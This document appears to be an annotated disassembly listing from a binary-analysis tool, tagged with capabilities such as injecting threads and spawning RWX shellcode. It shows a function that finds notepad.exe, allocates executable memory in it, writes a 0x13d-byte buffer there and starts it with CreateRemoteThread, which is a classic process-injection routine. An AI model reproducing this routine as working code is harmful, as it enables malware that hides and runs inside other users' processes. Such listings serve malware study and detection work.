Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x3d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
lea rdx, [rsp + 0x280]
mov eax, 2
lea r8, [0x140003310]
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
lea r8, [r8 + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [r8 - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [r8 - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [r8 - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [r8 - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [r8 - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [r8 - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x140001040
movups xmm0, xmmword [r8]
mov rax, qword [r8 + 0x30]
movups xmm1, xmmword [r8 + 0x10]
mov dword [rsp + 0x40], 0x238
movups xmmword [rdx], xmm0
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [r8 + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [r8 + 0x3c]
mov byte [rdx + 0x3c], al
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebp, ebp
mov qword [rsp + 0x3e0], rsi
lea rdi, str.notepad.exe
lea rdx, [rsp + 0x6c]
mov rcx, rbp
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
jne 0x1400011a9
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x1400011a9
add rcx, 2
cmp rcx, 0xc
jne 0x140001110
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x13d
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rax
test rax, rax
jne 0x1400011c4
lea rdx, str.Memory_allocation_failed:
call fcn.140001320
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
call fcn.1400014f0
mov eax, 0xffffffff
jmp 0x140001274
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001100
jmp 0x140001272
lea rdx, str.Memory_page_allocated_at:
call fcn.140001320
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
call fcn.1400014f0
mov r9d, 0x13d
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x280]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
jne 0x14000123d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_obtain_handle_to_process:
jmp 0x14000117e
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.1400016c0
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret